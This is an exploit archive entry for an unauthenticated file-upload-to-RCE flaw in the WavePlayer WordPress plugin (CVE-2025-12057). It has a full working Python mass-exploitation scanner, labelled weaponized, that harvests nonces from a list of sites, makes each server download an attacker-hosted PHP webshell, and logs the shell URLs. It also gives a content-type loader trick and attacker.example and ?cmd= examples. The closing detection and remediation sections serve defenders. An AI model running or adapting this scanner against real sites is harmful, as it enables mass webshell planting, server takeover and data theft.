PoC Archive PoC Archive
Critical CVE-2025-12057 unpatched

WavePlayer Unauthenticated Arbitrary File Upload to RCE (CVE-2025-12057)

by DeadExpl0it · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-12057
Category
web
Affected product
WavePlayer (WordPress plugin)
Affected versions
< 3.8.0
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherDeadExpl0it
CVE / AdvisoryCVE-2025-12057
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, waveplayer, arbitrary-file-upload, unauthenticated, rce, webshell, ajax, nonce, php, python
RelatedN/A

Affected Target

FieldValue
Software / SystemWavePlayer (WordPress plugin)
Versions Affected< 3.8.0
Language / PlatformPython 3 (PoC scanner/exploiter), PHP (target plugin), targets WordPress installations
Authentication RequiredNo
Network Access RequiredYes

Summary

WavePlayer, a WordPress audio player plugin, exposes an AJAX action (wvpl-ajax=create_local_copy) that lets an unauthenticated visitor instruct the server to fetch a remote URL and save it as a local “track” file inside the uploads directory, without validating that the fetched content is actually audio. The only guard is a WordPress AJAX nonce, which is trivially harvested from the plugin’s own public-facing pages since it is not tied to a privileged session. By pointing the fetched URL at an attacker-controlled PHP file served with a Content-Type: application/x-httpd-php header (to defeat basic content sniffing), the exploit causes WavePlayer to copy the payload into wp-content/uploads/peaks/external/<random>.php, a web-accessible path where PHP execution is not blocked. The included PoC (wave.py) is a multi-threaded scanner that reads a list of target sites, extracts the nonce, fires the create_local_copy AJAX request with an attacker-hosted payload URL, and logs the resulting webshell path to shells.txt.


Vulnerability Details

Root Cause

The create_local_copy AJAX handler in WavePlayer accepts an arbitrary url parameter and downloads/stores its content as a “local copy” of a track without verifying the file extension, MIME type, or magic bytes of the downloaded content — it only appears to gate the request behind a nonce, not a capability/authentication check. Because the download is written under wp-content/uploads/peaks/external/ with a .php-friendly name and that path is served by the web server with PHP execution enabled, any file reachable at a URL (including one deliberately mislabeled by the attacker’s own server) is written to disk and becomes directly executable.

The PoC extracts the nonce from the target’s front-end HTML/JS using a set of generic regex patterns:

1
2
3
4
5
6
7
8
self.nonce_patterns = [
    r'ajax_nonce":"([^"]+)"',
    r'nonce":"([^"]+)"',
    r'"_nonce":"([^"]+)"',
    r'security":"([^"]+)"',
    r'wpnonce":"([^"]+)"',
    r'nonce=([^&"\']+)',
]

and then triggers the vulnerable endpoint directly:

1
2
3
exploit_url = f"{url}/?wvpl-ajax=create_local_copy"
data = {'nonce': nonce, 'url': self.payload_url}
response = self.session.post(exploit_url, data=data, headers=headers, timeout=self.timeout)

A successful response returns a JSON body containing data.track.temp_file, the server-side path of the newly created (attacker-controlled) file.

Attack Vector

  1. Attacker prepares a PHP webshell (payload.php) and a second “loader” PHP file that reads and returns payload.php’s contents with Content-Type: application/x-httpd-php, so it looks like a legitimate audio/track resource to whatever validation WavePlayer performs.
  2. Attacker hosts both files on infrastructure they control and obtains a direct URL to the loader (e.g. http://attacker.example/loader.php).
  3. The PoC script fetches the target WordPress site’s homepage/plugin assets to scrape a valid AJAX nonce from embedded JSON/JS.
  4. Using that nonce, the script sends POST /?wvpl-ajax=create_local_copy with url=<loader URL>, causing the WavePlayer backend to download the loader’s output and save it under wp-content/uploads/peaks/external/<random>.php.
  5. The script parses the JSON response for data.track.temp_file, which is the public URL of the newly planted webshell, and appends it to shells.txt.
  6. The attacker then requests .../peaks/external/<random>.php?cmd=<command> to execute arbitrary OS commands as the web server user.

Impact

Unauthenticated remote code execution on any WordPress site running a vulnerable WavePlayer version, allowing full webshell access, further pivoting into the hosting environment, data exfiltration, and site defacement or takeover.


Environment / Lab Setup

Target:   WordPress with WavePlayer plugin < 3.8.0 installed and activated
Attacker: Python 3.x with requests, colorama, urllib3
          A publicly reachable HTTP host to serve payload.php + loader.php

Proof of Concept

PoC Script

See wave.py in this folder.

1
2
3
4
python3 wave.py
#
#
#

Detection & Indicators of Compromise

POST /?wvpl-ajax=create_local_copy HTTP/1.1
Content-Type: application/x-www-form-urlencoded

nonce=<value>&url=http://<external-host>/loader.php

Signs of compromise:

  • Unexpected .php files under wp-content/uploads/peaks/external/ with random numeric filenames.
  • Outbound HTTP requests from the WordPress server to unfamiliar third-party hosts immediately preceding new file creation in the uploads directory.
  • Repeated wvpl-ajax=create_local_copy requests from a single IP across many nonces/sessions (scanner behavior).
  • Webserver access logs showing GET requests to .../peaks/external/*.php?cmd=....

Remediation

ActionDetail
Primary fixUpgrade WavePlayer to version 3.8.0 or later, which is expected to add proper authentication/authorization and content-type validation on the create_local_copy action.
Interim mitigationDisable/deactivate the WavePlayer plugin until patched; block direct PHP execution in wp-content/uploads/ via web server config (e.g. .htaccess/nginx location rules); add a WAF rule blocking unauthenticated requests to ?wvpl-ajax=create_local_copy.

References


Notes

Mirrored from https://github.com/DeadExpl0it/CVE-2025-12057-WordPress-Exploit-PoC on 2026-07-06. wave.py is a functional multi-threaded scanner/exploiter that plants a PHP webshell via WavePlayer’s upload flow; confirmed genuine, not a stub.

wave.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#!/usr/bin/env python3
"""
WordPress WavePlayer Exploit Scanner
"""

import requests
import re
import threading
import time
import os
import sys
from queue import Queue
from urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(InsecureRequestWarning)
init(autoreset=True)

# Colors
G = Fore.GREEN
R = Fore.RED
Y = Fore.YELLOW
B = Fore.BLUE
M = Fore.MAGENTA
C = Fore.CYAN
W = Fore.WHITE
RS = Style.RESET_ALL

class WavePlayerExploit:
    def __init__(self, sites_file, payload_url, threads=10):
        self.sites_file = sites_file
        self.payload_url = payload_url
        self.threads = threads
        self.queue = Queue()
        self.results_file = "shells.txt"
        self.timeout = 15
        self.retries = 2
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
        # Nonce patterns
        self.nonce_patterns = [
            r'ajax_nonce":"([^"]+)"',
            r'nonce":"([^"]+)"',
            r'"_nonce":"([^"]+)"',
            r'security":"([^"]+)"',
            r'wpnonce":"([^"]+)"',
            r'nonce=([^&"\']+)',
        ]
        
        self.print_banner()

    def print_banner(self):
        banner = f"""
{B}███████╗██╗    ██╗ █████╗ ██╗   ██╗███████╗██████╗ ██╗      █████╗ ██╗   ██╗███████╗██████╗ {RS}
{B}╚════██║██║    ██║██╔══██╗██║   ██║██╔════╝██╔══██╗██║     ██╔══██╗╚██╗ ██╔╝██╔════╝██╔══██╗{RS}
{B}███████║██║ █╗ ██║███████║██║   ██║█████╗  ██████╔╝██║     ███████║ ╚████╔╝ █████╗  ██████╔╝{RS}
{B}╚════██║██║███╗██║██╔══██║╚██╗ ██╔╝██╔══╝  ██╔═══╝ ██║     ██╔══██║  ╚██╔╝  ██╔══╝  ██╔══██╗{RS}
{B}███████║╚███╔███╔╝██║  ██║ ╚████╔╝ ███████╗██║     ███████╗██║  ██║   ██║   ███████╗██║  ██║{RS}
{B}╚══════╝ ╚══╝╚══╝ ╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝     ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝{RS}

{C}WavePlayer Exploit DEADEXPLOIT{RS}
{Y}Threads: {self.threads} | Timeout: {self.timeout}s | Retries: {self.retries}{RS}
{M}Results: {self.results_file}{RS}
{'-' * 60}
"""
        print(banner)

    def log(self, message, color=W, end='\n'):
        timestamp = time.strftime('%H:%M:%S')
        print(f"{C}[{timestamp}]{RS} {color}{message}{RS}", end=end)

    def extract_nonce(self, url):
        for attempt in range(self.retries + 1):
            try:
                response = self.session.get(url, timeout=self.timeout)
                if response.status_code == 200:
                    for pattern in self.nonce_patterns:
                        matches = re.findall(pattern, response.text)
                        if matches:
                            return matches[0]
                if attempt < self.retries:
                    time.sleep(2)
            except Exception:
                if attempt < self.retries:
                    time.sleep(2)
                continue
        return None

    def exploit(self, url):
        url = url.strip()
        if not url.startswith(('http://', 'https://')):
            url = 'https://' + url

        self.log(f"[*] Testing: {url}", Y)
        
        nonce = self.extract_nonce(url)
        if not nonce:
            self.log(f"[!] No nonce: {url}", R)
            return

        self.log(f"[+] Nonce: {nonce[:20]}...", G)
        
        exploit_url = f"{url}/?wvpl-ajax=create_local_copy"
        data = {'nonce': nonce, 'url': self.payload_url}
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}

        for attempt in range(self.retries + 1):
            try:
                response = self.session.post(exploit_url, data=data, headers=headers, timeout=self.timeout)
                
                if response.status_code == 200:
                    try:
                        json_response = response.json()
                        if json_response.get('success') == True:
                            self.log(f"[🔥] VULNERABLE: {url}", M)
                            
                            temp_file = None
                            if 'data' in json_response and 'track' in json_response['data']:
                                temp_file = json_response['data']['track'].get('temp_file')
                            
                            if temp_file:
                                self.log(f"[📁] Shell: {temp_file}", G)
                                # Save only the shell URL to file
                                with open(self.results_file, 'a') as f:
                                    f.write(f"{temp_file}\n")
                            return
                    except:
                        pass
                
                if attempt < self.retries:
                    time.sleep(2)
                else:
                    self.log(f"[✗] Failed: {url}", R)
                    
            except Exception:
                if attempt < self.retries:
                    time.sleep(2)
                else:
                    self.log(f"[✗] Error: {url}", R)

    def worker(self):
        while True:
            try:
                url = self.queue.get(timeout=3)
                if url is None:
                    break
                self.exploit(url)
                self.queue.task_done()
                time.sleep(0.5)
            except:
                break

    def run(self):
        if not os.path.exists(self.sites_file):
            self.log(f"[ERROR] File not found: {self.sites_file}", R)
            return

        with open(self.sites_file, 'r') as f:
            sites = [line.strip() for line in f if line.strip()]

        self.log(f"[✓] Loaded {len(sites)} targets", G)
        
        # Clear results file before starting
        open(self.results_file, 'w').close()
        
        for site in sites:
            self.queue.put(site)

        for _ in range(self.threads):
            t = threading.Thread(target=self.worker)
            t.daemon = True
            t.start()

        try:
            while not self.queue.empty():
                remaining = self.queue.qsize()
                done = len(sites) - remaining
                print(f"\r{C}Progress: {done}/{len(sites)}{RS}", end='')
                time.sleep(0.5)
        except KeyboardInterrupt:
            self.log(f"\n[!] Interrupted", Y)
        
        self.queue.join()
        self.log(f"\n[✓] Done! Results in {self.results_file}", G)

def main():
    print(f"\n{C}WavePlayer Exploit Configuration{RS}\n")
    
    sites_file = input(f"[?] Path to WordPress sites list (txt): ").strip()
    if not os.path.exists(sites_file):
        print(f"{R}[!] File not found{RS}")
        sys.exit(1)
    
    payload_url = input(f"[?] URL to your PHP payload: ").strip()
    if not payload_url.startswith(('http://', 'https://')):
        payload_url = 'http://' + payload_url
    
    threads = input(f"[?] Number of threads [10]: ").strip()
    threads = int(threads) if threads.isdigit() else 10
    
    print(f"\n{Y}Starting scan...{RS}\n")
    
    scanner = WavePlayerExploit(sites_file, payload_url, threads)
    scanner.run()

if __name__ == "__main__":
    main()